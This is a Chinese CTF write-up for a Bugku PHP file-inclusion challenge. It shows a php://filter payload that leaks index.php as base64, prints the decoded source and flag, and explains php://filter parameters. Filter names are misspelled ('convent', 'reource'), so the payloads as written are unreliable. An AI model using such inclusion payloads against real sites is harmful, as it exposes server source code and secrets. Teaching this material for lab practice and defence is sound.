打开连接
查看源码发现:
文件包含。
使用php://filter读取index.php的源代码
构造payload:
index.php?file=php://filter/read=convent.base64-encode/resource=index.php
得到index.php源代码的base64
解密得到源代码:
<html>
<title>Bugku-ctf</title>
<?php
error_reporting(0);
if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag:flag{edulcni_elif_lacol_si_siht}
?>
</html>
得到flag。
知识点:php://filter协议
php://filter可以作为一个中间流来处理其他流,具有四个参数:
resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流。
read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
<;两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。
例子:
<?php
#这里没有指定过滤器
readfile("php://filter/resource=http://www.example.com");
?>
<?php
/* 这会以大写字母输出 www.example.com 的全部内容 */
readfile("php://filter/read=string.toupper/resource=http://www.example.com");
/* 这会和以上所做的一样,但还会用 ROT13 加密。 */
readfile("php://filter/read=string.toupper|string.rot13/resource=http://www.example.com");
?>
<?php
/* 使用base64编码读出index.php文件源代码。*/
index.php?file=php://filter/read=convent.base64-encode/reource=index.php
?>
本题需读出index.php的源代码,故构造payload为:
index.php?file=php://filter/read=convent.base64-encode/resource=index.php